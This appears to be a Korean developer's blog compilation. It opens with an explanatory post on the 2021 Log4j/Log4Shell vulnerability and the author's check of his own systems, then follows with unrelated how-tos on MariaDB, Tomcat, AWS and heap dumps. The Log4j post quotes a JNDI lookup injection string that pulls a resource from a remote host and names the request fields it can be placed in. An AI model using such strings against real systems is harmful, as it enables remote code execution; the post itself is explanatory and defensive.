반응형

2021년 12월 10일 Log4j 취약점 발견

12월 10일 Log4j 취약점이 공개되었다. 나는 해당 이슈를 뉴스를 통해 토요일날 처음 접했다. 보자마자 생각들었던게, 어? 내 시스템들에도 Log4j 라이브러리를 쓸텐데..? 문제 없는건가? 그리고... 나뿐만 아니라 국내며 해외며.. java 기반 시스템에선 엄청 많이 사용하고 있을텐데???.. 라는 생각이 들었다.

log4j 란?

log4j라는 라이브러리에서 취약점이 발견되었다. log4j 는 java 기반 시스템에서 쓰이는 logging library 로써 굉장히 광범위하게 쓰이는 로깅 라이브러리다. 전세계적으로 굉장히 보편화되어있고 많은 시스템에서 사용중이고 심지어 내가 운영중인 웹사이트도 해당 라이브러리를 사용하고있었기에 관심이 컸다.

log4j에 어떤 취약점이? lookups 과 JDNI

log4j 에 어떤 취약점이 있어서 해당 문제가 발생한걸까? log4j 라이브러리로 로그를 찍을때 기존 println 함수로 쌩으로 찍는게 아닌 log.debug("log : {}", param); 형태로 찍게 된다. {}를 이용해 포맷을 만들고 param 데이터를 매핑하는 식인거다, 그래서 로그가 가독성있게 출력되는게 강점인 라이브러리다. 근데 여기서 어떤게 문제가 되었을까?

 

해당 원리를 조금 응용하면 Lookups 기능을 이용해 신박한짓을 할 수 있다. Lookups 기능을 보면 로깅 포맷에서 구문을 실행한 결과를 출력할 수 있는 기능이다. 예를들면 log.debug("log : {docker:containerName}") 라고 찍으면 docker:containerName 구문의 실행 결과가 결과로 찍힌다. 도커 컨테이너의 이름이 happyDocker 였다면 "log : happyDocker" 가 로그로 찍히도록 하는 기능인거다. 이정도 하면 감이 왔을까..? logging 처리 과정에서 구문이 실행 된다는 점..!

 

오 그럼, 머 원하는 구문 넣어서 머 서버의 환경은 어떻게 되어있고 로그로 찍을 수 있겠네? 라고 할 수 있지만, 사실 공격자 입장에서 서버로그에 자기가 원하는걸 남겨봤자 어차피 서버로그에는 접근하지 못하기때문에 큰 의미가 없다. 그래서 공격자들이 여기서 끝낼까? 아니다, lookups을 응용해 JNDI를 이용해서 공격이 가능하다.

 

JNDI(Java Naming and Directorry Interface) 는 API를 호출해 자원이나 다른프로그램의 객체를 찾는데 이용한다. 통상 다른 분산된 환경에서 다른 자원을 가지고와 사용할 수 있는 기능이다. 딱 여기까지 읽었을 땐 감이 안오지만, 다른 시스템에서 자원을 가지고와 사용할 수 있다..? 여길 잘 읽어보면 앗! 싶을꺼다. 왜냐면 공격자 서버에 있는 자원을 요청해서 실행할 수 있기 때문이다.

 

만약 아까처럼 매핑되는 로그내용에 ${jndi:ldap://remote.com/resource} 이게 파라미터로 들어가면 저 스트링이 그대로 찍히는게 아니라 룩업 명령에 의해서 jndi 이하 구문이 해당 서버에서 실행되어버린다.

 

당장 어떻게 실행할까 고민해볼것도 없다, 대부분의 파라미터들의 상호작용이 로깅되기 때문에 머 어떤 시스템에선 걍 검색창에만 명령어를 써도 로깅과정에서 손쉽게 실행될 수 있다. 더 간단한건 GET POST 명령에 담아서 쏠수도 있고 http header에 정보를 담아 공격 할 수도있다.

이번 취약점이 유독 최악인 이유? RCE(Remote Code Execution)

오케이 지금까지 log4j 라이브러리를 사용하면서 어떤식으로 공격이 가능한지 한번 간단하게 살펴봤다. 근데 왜 이걸 인터넷역사 근 10년에 최악의 취약점이라고 하는걸까? 바로 RCE가 가능하기 때문이다. 즉 원격지에서 공격자가 원하는 코드가 실행될 수 있다는 점이다.

 

간단하게 예를들자면 내가 구글 검색창에 내가 실행할 코드를 써서 검색버튼을 누르면 검색창에 쓰여짐 코드들이 구글 서버에서 실행된다. 여태까지 보편적인 해킹 기법들은 머가있었는가? 야금 야금 낚시질 하듯이 장난좀 쳐놓고 걸려들면 관리자 권한을 가진 계정을 탈취하여 root 권한을 얻거나 머 이런게 주로 알려진 친구들이었다. 어떻게 말하면 노가다성도 짙어서 노력파라고 볼 수도 있다.

 

기존에 발견되었던 최악의 취약점이라고 불리는 하트블리드도 개인적으로 느끼기엔 이정도 화끈함은 아니었다. 오버플로된 메모리에서 유의미한 데이터가 나올때까지 살짝 노가다도 필요했기 때문에 표현하자면 창과 도끼를 들고 성벽을 힘겹게 타고 올라가 함락하는 딱 이런그림이었다.

 

마지막으로 가장 최악인점은, 한 독립된 소프트웨어의 취약점이 아니라는거다. 무슨말이냐, 내가 만든 짱짱짱프로그램에 취약점이 있으면 이 짱짱짱 프로그램사용에만 문제가 생긴다. 근데... 이번건은 특정 소프트웨어 문제가 아니라... 전세계 많은 소프트웨어에 들어가 있는 라이브러리에 문제가 생긴터라.... 해당 취약점을 이용해서 log4j를 사용하는 모든 소프트웨어를 공격 할 수 있다는 것이다.

 

그렇다 log4j 취약점은 차원이 다르다, 걍 내가 짠 명령어를 전세계 어떤 시스템이든(log4j를 사용하는..) 원격으로 실행시킬 수 있다? 이정도 되면 왜 언론에서 최악 최악 하는지 감이 올 것이다.

제로데이(Zero-Day) 취약점

아..예전에 개념으로만 배우던 제로데이가 이런거구나 싶었다 ㅋㅋ.. 제로데이란 취약점이 공개되고 해당 취약점을 해결할 보안 패치가 나오기 전까지 공격자들로부터 무방비한 상태를 말한다. 공개된 취약점을 이용해 공격을 수행하면 이게바로 제로데이 취약점 공격이다.

 

맞다 큰 이벤트였다. 아마, 나 말고도 주말에 IT 인력들이었으면 이거에 대응하느라 정신이 없었을 것이다 다들 ㅎㅎ... 어차피 이거 보도됐을때는 보안패치가 안나왔던터라 머 현황조사 정도 했을테지만..다들 수고가 많았다.

2021년 12월 11일 한국인터넷진흥원 KISA 보안 업데이트 권고 발표

제로데이 하루가 지났을까, KISA에서 이번에 문제된 Apache Log4j의 보안 업데이트를 권고했다. 내용 요약하자면 Log4j / Log4j2 를 사용하는 유저들은 jot 됐다. 신속히 해결해라..!! 정도 되겠다.

해결방법 : JndiLookup 사용하지 마라!!

해결 방법 엄청 간단한다. JndiLookup 사용하지 말아라이다. log4j 버전에따라 조치방법이 다른데 2.0-beta9 ~2.10.0 버전은 걍 JndiLookup 클레스를 걍 삭제 ㅋㅋㅋㅋㅋㅋㅋㅋ무슨 여드름 압출하듯이 걍 삭제하라니 ㅋㅋㅋㅋㅋㅋㅋ참 와닿는다.

 

만약 2.10~2.14.1 버전을사용할 경우 log4j2.formatMsgNoLookups 나 LOG4J_FORMAT_MSG_NO_LOOKUPS 의 환경변수를 true로 사용해서 못쓰게 하기! 이건 그래도 신사적이다.

 

그리고 만약 log4j 가 아닌 유사한 라이브러리가 쓰였다면 log4j-core 의존성만 없으면 된다고 한다.

 

그외에 보안 업데이트 권고를 보면 공격이 있었는지 탐지하는 방법도 넣어놨다. log4j로 검색해서 이상 로그가 있는지 보면 된단다.

이 KISA의 권고는 오늘까지 약 20만명의 IT인력들이 열람했다 ㅋㅋㅋㅋ log4j2 많이도 쓰나보구나 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 생각했다.

이 혼란속에서 나는 뭘 했을까?

결국 주말에 전사차원에서 각 시스템별 log4j 사용 유무, 사용 버전 등에 대한 현황을 조사했다. 일단 현황조사 해야한다고 전달받자마자 카톡방에서 메인시스템은 사용하는 것 같고, 스프링부트 기반인 서브시스템들도 사용될 것으로 예상된다. 정확한 버전이 멀 쓰는지는 확인해봐야한다 이정도 초벌로 정리해서 전달했다.

 

그리고 본격적으로 원격 붙어서 아....하........후............하.....................한숨 푹쉬고 현황조사를 시작했다. 머 메인시스템같은 경우에는 코드단을 하도 많이 보니까 딱 머리에 있었는데 서브시스템이나 레거시 시스템들의 경우 코드수정이 많이 없다보니 어떤 로깅 라이브러리를 쓰는지 알 수 없었다. 심지어 너무 오래된 시스템은 이거... 로깅은 하긴 하는걸까..? 라는생각도 잠깐 들었다. 일단 생각나는 시스템부터 SVN 소스를 뒤져서 현황을 파악했다.

 

(몇분후..)

 

엇? ...!! 아니...!? 일단 내가 운영하는 메인시스템, 서브시스템, 레거시시스템 전부 log4j를 안쓰네!??!?!?!?!?!??! 뭐지!? 분명 메인시스템은 log4j를 확실히 사용했었는데? 먼가 이상했다.

log4jdbc-remix(SLF4J)

엇.. 메인시스템이 log4j가 아니고 log4jdbc-remix였다. 아.. 내가 지금까지 난독이었구나.. ㅋㅋㅋ j까지만 읽고 뒤는... 안읽었었나보네.. 그렇다 ..log4j는 확실히 많이 봤었기 때문에 당연히 쓸꺼라고 생각했는데 log4jdbc-remix였다. 게다가 KISA에서 권고한 버전이랑도 아예 꼴 자체가 틀려...! 이건 딴 라이브러리야!!

맞다 해당 라이브러리의 의존성을 보니 SLF4J 추상체를 이용하여 만들어진 라이브러리다. 때문에 log4j와 머 비슷한친구긴 하지만, log4j는 아니기때문에 영향범위가 아니었다. 해당 라이브러리 공식 사이트에서 소스를 확인해보니 slf4 추상체만 쓰였을 뿐 log4j-core에 대한 의존성은 없었다. 야호..! 했지만................와.. 무슨 로깅 라이브러리를 2011년껄 쓰고있네.........한편으론 슬펐다...전자정부프레임워크 기반은 ㄹㅇ 불지옥이구나 한번더 느꼈다.

Logback (SLF4J)

java로된 시스템중에 메인시스템은 일단락됐고 서브시스템도 걱정됐다. 아 스프링부트라 먼가 log4j 있을꺼같아.... 하면서 확인해보니 logback 라이브러리를 사용하고 있었다.

logback 의 라이브러리 의존성을 보니 log4jdbc-remix와 동일하게 slf4j 추상체를 이용하여 구현했다. 위에 logback-core도 확인해보니 log4j-core에 관련된 의존성은 없었다. 결국 이친구도 영향범위 밖!! 의외였다. 이 작은 서브시스템이... 비교적 최신기술이고...가장 중요한 시스템은....후..........................기쁨반 슬픔 반 이었다.

번외, 보안 강국 대한민국! (feat, 전자정부프레임워크)

이짤도 웃음반 슬픔반이다. ㅋㅋㅋㅋㅋㅋㅋ 나도 첨에보고 엄청 웃었다 ㅋㅋㅋㅋㅋㅋㅋㅋ와 어떻게 저러냐?ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ했는데 ㄹㅇ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ2012년에 단종된 log4jdbc를 쓰는게 내 시스템이었다니 ㅋㅋㅋㅋㅋ맞다 내 시스템도 전자정부프레임워크 기반이다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ엌ㅋㅋㅋㅋㅋㅋㅋ

 

나말고도 전자정부프레임워크 기반인 공공기관이나 공기업 같은 분들도 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ와,! 우리 jot 됐다 !!! 하고 찾아보다가 엇.. 저희.. 2012년에 단종된 로깅 라이브러리라... 영향범위 밖입니다 ㅎㅎ 헤헤....이럴 사람들이 많다고 생각하니 좀 웃겼다 ㅋㅋㅋㅋ 이번 대한민국 보안은 전자정부프레임워크가 살렸다!!!

 

후.. 짧게 한 15분 쓰고 자려했는데 .. 결국 이렇게 길어졌다.. 먼가 실제 운영하면서 발생한 보안위협이기도하고, 흥미로웠던 취약점이기도해서 이렇게 길게 쓴 것 같다 ㅋㅋㅋ 보안 공부하는 새내기분들에게 좋은 경험담이 되었으면 좋겠다

 

반응형
반응형

보통 나는 특별히 어디 여행갈때 들고 다니는 경우를 제외하면 이렇게 고정하고 쓴다. 그런데 최근에 문제가 발생했다.. 잠자려는데.. 절전모드가 되서 모니터랑 유선키보드 조명도 다 꺼졌는데 천장에 빛이 깜빡깜빡 거렸다..

그렇다.. 보통 사용할 때는 정적 으로 설정해놓았기 때문에 딱히 문제가 없는데 절전모드로 변경되면 이게 자동으로 브리딩 모드로 변하는 것이었다.. 불 다끈 방에 저 키보드가 깜빡깜빡 거리니 잠자는데 너무 방해가 됐다.

그래서 아ㅡㅡ 또 깜빡이네 하면서 노트북 화면을 덮거나 했었는데.. 이것도 한두번이지 매번 덮고.. 열고 하는게 귀찮아 어떻게 끄는지 찾아봤다.(인터넷에 검색해도 안나와 이것저것 해보다 겨우 찾아냈다..)

  1. ARMOURY CRATE 실행

보통 아수스 게이밍 쓰는 사람들은 기본적으로 ARMOURY CRATE 앱이 설치되어있을 것이다. 이 앱은 키보드 조명을 관리해주는 친구다. 없다면 각 노트북 기종에 맞게 ASUS 홈페이지가서 따로 설치하면 된다.

  1. 장치 > 조명 > 설정 클릭

위 사진처럼 좌측부터 장치 > 조명 > 설정을 눌러 설정메뉴에 진입한다.

  1. 절전 off 설정

드디어 찾았다... 이것저것 메뉴 다눌러봤는데도 없어서 못찾았는데.. 여깄었다.. ㅋㅋ 저거 절전 off 해두면 이제 절전모드때 키보드 백라이트가 점등되는 경우는 없다. 다만 아쉬운게, 절전모드 때 조명설정을 정적으로 따로 커스터마이징 할 수 있으면 좋으련만 그런 기능은 없어보였다.

반응형
반응형

1년간 개인 서버를 운영하다가 now()함수를 돌렸을 때 시간이 맞지 않다는 것을 지금 발견했다..ㅋㅋ아마 작업하고 테스트 했을때 UTC하고 KST하고 9시간 밖에 차이가 안 났기 때문에, 못알아 챈 것 같다. ㅋㅋ

select @@system_time_zone, @@global.time_zone;

일단 위 함수 돌렸을 때 시스템 시간이 UTC로 되어있었다. 이걸 한국 시간에 맞게 바꿔보자

방법 1. 임시 방편 - Maria 재부팅 하면 초기화

mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root -p mysql

터미널을 이용해 우리 서버로 접속하고 위 명령어를 입력해주자. 아마 비번치라고 나오는데 비번 쳐주면 된다. 이 작업을 해야 시스템에서 사용하는 KST 정보들을 쓸 수 있다.

SET GLOBAL time_zone='Asia/Seoul'; SET time_zone = 'Asia/Seoul';

마리아 DB 에서 위 명령어를 입력해주자.

SELECT @@system_time_zone, @@global.time_zone, @@session.time_zone;

그리고나서 결과를 보면 일단 global, session의 time_zone이 Asia/Seoul로 바뀌었다.

SELECT NOW();

이 상태에서 셀렉트 나우를 찍어보면 현재 날짜로 바뀌긴 할텐데, 마리다 DB 서비스 혹은, 서버를 재부팅하면 원래대로 돌아간다.. ㅜㅜ...... 영구적으로 바꾸기 위해선 아래방법을 진행한다.

방법 2. 환경 변수 설정

cd /etc/ 
sudo vim my.cnf

etc 경로의 my.cnf를 수정하자, 있으면 내용이 있을꺼고, 보통은 저 경로에 저 파일이 없으니 새로 생성된다.

[mysqld]
default-time-zone=Asia/Seoul

위 내용을 입력하고 저장해주자.

systemctl restart mysql

 

그리고 마리아 DB 서비스를 재부팅 해주자.

SELECT @@system_time_zone, @@global.time_zone, @@session.time_zone;

재부팅 후에도 타임존이 Asia/Seoul로 유지되는 것을 볼 수 있다.

SELECT NOW();

셀렉트 나우를 통해 최종적으로 시간을 확인하자.

 

#마리아DB #mariaDB #Mysql #타임존 #변경 #시간 #안맞음 #timezone

반응형
반응형

톰캣으로 스프링 프로젝트를 개발하면서 은근 시간을 많이 잡아먹는 톰캣 재부팅.. JAVA 소스 한글자만 수정해도 반영되려면 톰캣을 재부팅 해야반영된다. 새로운 기능 개발을 하면서 이것저것 테스트할 때 수십법 재부팅을 해야하는데..

이게 개인 프로젝트 급이면 재부팅 머 10~30초 이내라지만, 기업급 프로젝트는 재부팅도 꽤나 많은 시간을 차지한다..재부팅 눌러놓고 커피나 뽑으러 가거나 했었지만 이게 은근 흐름을 끊고 그 몇분을 다 모아보면 꽤나 많은 시간이 허비 된다는 것을 느꼈다 ㅋㅋ...

그래서 java파일 변경 후 톰캣 재부팅이 필요없는 Spring Loaded 적용하는 법을 알아보자.

1. Spring Loaded 설치

https://mvnrepository.com/artifact/org.springframework/springloaded

가장 최신버전은 1.2.8이다. 2017년 이후로 새로운 버전은 없는 것 같다.

<!-- https://mvnrepository.com/artifact/org.springframework/springloaded -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>springloaded</artifactId>
    <version>1.2.8.RELEASE</version>
</dependency>

난 Maven을 쓰기 때문에 pom.xml의 dependency에 추가해주자!

짜잔~ 적당한 위치에 추가해주면 된다.

2. 톰캣 설정 변경

자 내 톰캣 서버 설정으로 와서 몇가지 설정을 바꿔주자.

1. Server Options 쪽을 보면 모든 체크박스를 해제해주자.

2. Publishing 쪽에 두번 째인 Automatically publish when resources change 를 선택해주자.

1. 하단 Modules 클릭

2. Path 클릭

3. Edit 클릭

4. Auto reloading enabled 선택 해제

5. OK

마지막으로 Ctrl+S를 눌러 톰캣 설정을 저장해주자.

그리고 톰캣 부팅 후 JAVA 파일을 바꾸면 재부팅없이 반영되는 것을 볼 수 있다.

#스프링 #Spring #톰캣 #tomcat #재시작 #재부팅 #종료 #다시시작 #JAVA #파일 #변경 #저장 #적용 #SpringLoaded #메이븐 #블챌 #오늘일기

반응형
반응형

오랫만에 서버 이전을 하고 DB 타겟을 바꾸고 서비스를 실행하는데 DB 연결이 안되는 문제가 나타났다.

Cannot create PoolableConnectionFactory (Could not connect to address= 
(host=xxx.xxx.xxx.xxx)(port=3306)(type=master) : Connection refused: connect)

당시 로그는 위처럼 찍혔다. Could not get JDBC Connection 어쩌구..DB 커넥션을 맺은 JDBC 객체를 정상적으로 리턴받지 못한 모양이다. 왜지!? 전이랑 똑같이 했는데 왜 안돼!

telnet 목적지IP 포트

회사에서 IF 서비스들을 많이 다뤄서 그런지 내 기계적으로 내 PC에서 텔넷부터 찍어봤다. 오잉..? DB 포트 안열려 있네? 방화벽 문제일까? 서비스가 안올라갔나? 생각했지만, 둘다 잘 올라갔을텐데?.. 생각했다.

먼저 라이트세일 서버 방화벽부터 확인하니 3306 포트가 잘 있다. 혹시 마리아 DB 서비스가 실행중이 아닌건가?

라고 생각했지만..서비스도 정상적으로 Run 되어있었다..

netstat -ntlp | grep 3306

그럼...혹시 마리아 DB 디폴트 포트가 3306이 아니었나? 생각이 들어 찍어봤다. 하지만 역시 3306... 하지만..! 오우 shit 이상한 점을 발견했다.

3306 포트는 열려있는데 source IP가 127.0.0.1로 서버 로컬에서만 접속할 수 있도록 되어있다. 즉..! 이 마리아 DB 서버는 서버에서 직접 접근만 가능하고 외부에서 접속되지 않도록 되어있는 것이었다.

해결 방법 : bind-address 변경

vi /etc/mysql/mariadb.conf.d/50-server.cnf

위 명령어를 입력해 50-server.cnf 파일을 열어주자

내리다보면 bind-address = 127.0.0.1 이라고 되어있는 부분이 있다. 이부분을 바꿔줄 것이다. bind-address는 이 DB에 접속할 수 있는 IP를 의미한다. 지금은 127.0.0.1 즉 localhost IP가 입력되어있으니, 이 서버 자체에서만 접속가능하다.

원격지에서 접속할 수 있도록 전체 대역을 의미하는 0.0.0.0 으로 바꿀 것이다. 뭐!? 전체 공개라고!? 안돼!! 할 수도 있지만, 그건 서버 인스턴스 방화벽 설정에서 막으면 되니 신경쓰지 않아도 된다.

bind-address = 0.0.0.0

자 기존 소스는 #을 붙혀 주석처리해주고 아래에 소스를 추가하자. 혹시 vi 편집기를 사용하지 못하는 분은 구글검색을 추천한다. 위 화면에서 i를 누르면 문자 삽입상태가 된다. 그상태에서 #을 붙힌후 방향키로 아래칸으로가 0.0.0.0 소스를 추가하면 된다.

다 썻으면 ESC를 한번 누르고 그 상태에서 Shift+: 버튼을 눌러주고 wq(write+quit) 입력 후 엔터를 입력하자, 저장하고 끄겠다는거다.

service mysql restart

자 이제 위 명령어를 입력해 DB를 재부팅해주자!

netstat -ntlp | grep 3306

다시 위 명령어를 이용해서 확인해보면 0.0.0.0 전체 IP대역에서 3306 포트 접속이 가능하게끔 변경된 것을 볼 수 있다.

짜잔 다시 telnet을 찍어보니 정상적으로 접속 가능한 것이 확인되었다. 내 PC에서 DB까지 구간은 이제 정상화되었으니 다시 스프링 서비스를 Run 해보면 정상적으로 DB 커넥션 되는 것을 확인할 수 있다.

 

#마리아DB #MYSQL #스프링 #원격 #DB #접속 #연결 #오류 #JDBC #PoolableConnectionFactory #bindaddress

반응형
반응형

이번에 아마존 EC2 인스턴스를 12개월 동안 무료로 사용할 수 있는 프리티어 기간이 끝난다는 메일을 받았다.

아무생각 없이 영원히 이용할 수 있을 것 같았던 EC2가.. 끝이라니..! 무료 사용 종료는 2020년 4월 30일.. 이번달이 지나고 나서 온디멘드 요금으로 전환된다.

그래서 그냥 유료로 기존 EC2 서버를 운용 할 것인가. 아님 그냥 서비스를 종료할까, 아니면 다른 서버로 이주해서 계속 서비스를 할 것인가 고민을 많이 했다.

고민끝에 서버를 이전하기로 했고, 기존 EC2 서버는 더 이상 요금이 발생하지 않도록 삭제하기로 했다.

1. EC2 인스턴스 종료 및 삭제

 

인스턴스 중지

EC2 인스턴스를 삭제하기 전에 실행중이라면 인스턴스를 종료해주자.

1. EC2 대시보드에서 인스턴스를 눌러주자.

2. 삭제하려는 인스턴스 선택

3. 인스턴스 상태 클릭

4. 인스턴스 중지 선택

정지할꺼냐고 물어보는데 중지를 눌러줍시다.

상단에 성공적으로 중지됐다고 나오고, 인스턴스 상태가 중지됨으로 나오면 완전히 중지된 상태이다.

인스턴스 종료(삭제)

이제 인스턴스를 삭제할 꺼다. 예전에 AWS 처음 할 때 저 인스턴스 종료가... 그냥 윈도우 잠깐 시스템 종료 해두듯이. 그냥.. 단순 종료인줄 알았는데.. 저거 서버 삭제다.. ㅋㅋ 아무생각없이 눌렀다가 서버 날아가서 오열했던 기억이 잠깐 난다.

1. 삭제할 인스턴스 선택

2. 인스턴스 상태 선택

3. 인스턴스 종료 선택

진짜 삭제할꺼냐고 묻는다. 종료를 눌러주자.

그럼 성공적으로 종료되었다는 메시지와 함께 인스턴스 상태를 보면 종료됨으로 표시된다. 처음에 어..? 삭제 끝났는데 왜 목록에 자꾸 남아있지!? 하고 이상해했다. 계속 새로고침을 눌러봐도 종료됨으로 떠있어서 이게 삭제가 아닌가? 했는데 한 5~10분 지나면 목록에서 사라진다 ㅋㅋ..

몇분 후면 이렇게 목록에서 사라져있다 ㅎㅎ 여기까지 EC2 인스턴스 삭제는 끝이다.

하지만, 인스턴스만 삭제고, 나머지 EIP 등으로 과금이 생길 수 있기때문에 깔끔하게 다른 것 까지 지워주자.

2. EIP 삭제 (Elastic IP / 탄력적 IP)

EIP를 사용하지 않고 유동 IP를 사용했다면 추가 과금 될 것은 없다. 하지만 서버에서 서비스를 운영하는 입장에서는 보통 고정 IP를 쓰고 프리티어에서 1개의 EIP는 무료로 사용 할 수 있기 때문에 아마도 다들 EIP 할당이 되어있을 것 같다.

EIP는 프리티어에서 1개까지는 무료지만, EIP할당 받아놓고 인스턴스를 Run 해놓지 않으면 과금이 발생한다. 보통 대학생들이 AWS에 돈나갔어요 ㅜㅜ 한번만 봐주세요 하고 보내는는 이유중, 이런 사유로 발생하는 경우가 많다 ㅋㅋ..

AWS 입장에서는 고정 IP를 한정적으로 가지고있고, 여기에 인스턴스가 돌아가지 않고 있다면, IP 자원 하나를 손실보는 것이기 떄문에 인스턴스가 안돌아가는 경우 과금을 하는 것 같다. 이제 할당된 EIP를 삭제하는 법에 대해 알아보자.

1. 좌측에 탄력적 IP를 눌러주자.

2. 삭제하려는 IP를 선택해주자.

3. 상단 작업을 클릭

4. 탄력적 IP 주소 릴리즈 를 눌러주자

진짜 삭제할 꺼냐고 묻는다. 릴리스를 눌러주자.

일단 여기까지 하면 보통 과금될 일은 없다. 추가적으로 AWS S3, Route 53, RDS, 스냅샷 을 사용할 경우 이 서비스들 각각 다 서비스를 삭제해주면 된다. 하지만 난 S3, RDS를 사용하지 않고 Route 53은 계속 사용할 것이기 떄문에 일단 여기까지만 했다.

다음은, 과금에 영향은 없지만 이 EC2와 관련된 것은 다 지우고 싶다 할 경우 진행하면 된다.

3. 보안그룹 삭제

일단 기존 EC2 에서 사용되었던 보안그룹도 삭제할 것이다. 보안 그룹이 뭐지? 하는 사람은 머.. 방화벽 정책정도로 생각하면 될 것 같다. 나중에 다시 EC2 인스턴스를 올려서 동일한 방화벽 정책을 사용할 경우에는 남겨두어도 좋지만, 난 라이트세일 서버로 이전했기 때문에 필요 없어서 지웠다. 머.. 나중에 EC2 인스턴스를 다시올릴때 필요하다면 다시 만들려고 한다. 머 어차피... DB포트정도만 열면되기 떄문..

1. 네트워크 및 보안 탭에 보안그룹을 클릭

2. 삭제하려는 보안 그룹 선택

→ 2번에 빨간 박스친 밑에 default 보안그룹은 말그대로 기본 설정이기 때문에 안지워도 된다. 본인이 만든것만 지우면 되기때문에 디폴트는 걍 무시한다.

3. 작업 선택

4. 보안그룹 삭제 선택

진짜 삭제할 꺼냐고 물어본다. 삭제를 눌러주자.

짜잔 삭제 완료

4. 키 페어 삭제

이제 기존 EC2 서버 접속간 사용했던 키페어를 삭제할 예정이다. 이거 머 삭제해도 되나..? 한번 고민은 해봤었는데 어치파.. 기존 EC2 접속에만 사용했었기 때문에 더 이상 그 인스턴스는 필요하지 않으니, 삭제해도 상관 없을 것이라고 판단됐다.

 

1. 네트워크 및 보안 키 페어 클릭

2. 삭제하려는 키 페어 선택

3. 작업 클릭

4. 삭제 클릭

그 다음 진짜 삭제할꺼냐고 묻는데 상당히 중요한 판단인가본지 직접 "삭제"라고 타이핑 하고 진행하라고 한다. 일단.. 삭제하기로 맘먹었기 때문에 그냥 삭제 치고 삭제를 누르자.

짜짠.. 키 페어 삭제 완료

삭제 후기

삭제 후기? 별거 없다. AWS 프리티어 1년간 정말 잘 썼다. 앞으로 이거 관련해서 추가 과금은 없겠지..? ㅎㅎ 요금 폭탄 안나오길 바란다.

#AWS #EC2 #인스턴스 #삭제 #프리티어 #종료 #방법 #탄력적IP #키페어 #보안그룹 #서버 #서버삭제 #인스턴스삭제

반응형
  1. 익명 2021.09.08 11:01

    비밀댓글입니다

  2. 익명 2022.04.15 17:10

    비밀댓글입니다

    • 외장_하드 2022.04.15 17:27 신고

      프리티어라디 엘라스틱 ip를 할당받아놓으셨다면 비용이 발생합니다!

  3. test 2022.05.05 19:59

    잊고있던 계정 인스턴스 덕분에 삭제했습니다. 두 달치 청구됐지만 ㅠ

반응형

  저번 포스팅에서 CPU사용량, 힙메모리 사용량이 순간적으로 치솟아 서버가 다운되는 현상에 대해서 포스팅 했다. 이번에는 이 문제의 원인을 어떻게 밝혀냈고 해결했는지에 대해서 알아보자.

https://extsdd.tistory.com/257

 

[WAS 이슈 해결 #1] java.lang.OutOfMemoryError: GC overhead limit exceeded 로 인한 Tomcat 서버 다운 / CPU 사용량

최근 운영중인 웹서비스가 비규칙적으로 다운되는 현상이 있었는데, 발생했던 문제와 그 문제를 해결하는 과정에 대해서 포스팅을 해보려고 한다. 서버 운영을 하는 실무자들에게 도움이 되었

extsdd.tistory.com

1. 힙메모리(Heap Memory) 덤프

-XX:+HeapDumpOnOutOfMemoryError

  JVM 실행 옵션에 위 옵션을 추가하면 OutOfMemoryError가 발생했을 때 힙메모리 덤프를 떠준다. 위 설정을 적용시켜주고 안타깝지만 문제가 발생할 때 까지 기다리자.

  다시 OOM 문제가 발생했고, 힙 메모리 덤프 파일이 서버에 정상적으로 생성됐다. 위 사진은 분석을 위해 서버에서 생성된 덤프 파일을 내 로컬 PC로 가져온 모습니다.

  충격적이게도..덤프 메모리가 10GB나 한다...VDI에서 로컬로 가져오는데 다운 속도도 느리고 중간에 계속 끊어지고 그래서 tar로 압축해 1.5기가로 줄인상태로 가져왔다.

  위 사진에 나온 다른 파일들은 MAT를 돌리고 생성된 파일이니 무시하면된다. 우린 java_pidxxxxx.hprof 파일만 있으면 된다.

2. Memory Analyzer (MAT) 설치

  이 힙메모리를 덤프한 hprof 파일을 분석하기 위해선 MAT를 많이들 쓴다. 그래서.. 그냥 검색해서 다운받아 쓰면 되나 했는데.. 여기서도 난관에 봉착했다. ㅋㅋ

  이클립스에서 MAT 플러그인을 본거같기도해서 구글에 MAT를 검색하니 진짜로 이클립스 플러그인으로 내장된 Eclipse Memory Analyzer (MAT) 을 많이 사용하더라 ㅋㅋㅋ그래서 개꿀~ 하고 이클립스 마켓플레이스들어가서 플러그인 설치하려고하니.. 회사 네트워크에서 마켓플레이스가 차단되어 있더라.......ㅠ..

  어떻게 시간박치기 차력으로 검색하니 프록시로 접속할 수 있게되어 MAT를 설치했다. 그래서 야호! 소리를 지른후 10GB 짜리 덤프파일을 임포트하니 이클립스가 멈췄다. ㅋㅋ.. 아 그래..10GB짜리니까 머..오래 걸리는건가? 하고 마냥 기달렸지만 계속 무응답 상태였다. 그걸또 참지 못하고 그냥 강종해버렸다. 어차피 퇴근시간도 가까워서 걍 임포트 눌러놓고 내일 출근해서 보기로 맘을 먹었다.

MAT 메모리 부족..

  다음날 보니까 MAT의 가용 메모리가 부족해.. 열수 없단다.. 그렇다.. 메모리에 적재해야하는게 10GB가 넘는데... 아마 무리였을꺼야 이해하기로 했다. 후.. OOM 문제로 메모리 누수 분석하려니 분석툴에서 OOM 발생이라니.. ㅋㅋ 또 검색해보니 이클립스 메모리 설정하듯이. MAT도 최대 메모리 설정을 바꾸란다. 아니 근데.. 아무리 찾아봐도.. 이 플러그인으로 딸려온 MAT만 단독으로 설정 바꿀수 있는게 없다..

  검색해서 찾은 결과를 보니 사람들은 다 이클립스 플러그인이 아니고 걍 Stand Alone으로 실행하고 있네..? 후.. 결론은 이렇다. 걍 Stand Alone 버전으로 따로 받아서 하는게 젤 맘편하다..

MAT Stand Alone 버전 설치

https://www.eclipse.org/mat/downloads.php

 

Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation

The Eclipse Foundation - home to a global community, the Eclipse IDE, Jakarta EE and over 375 open source projects, including runtimes, tools and frameworks.

www.eclipse.org

  후...위 사이트 들어가서 저기 스텐드얼론 버전을 받고 압축을 풀자.

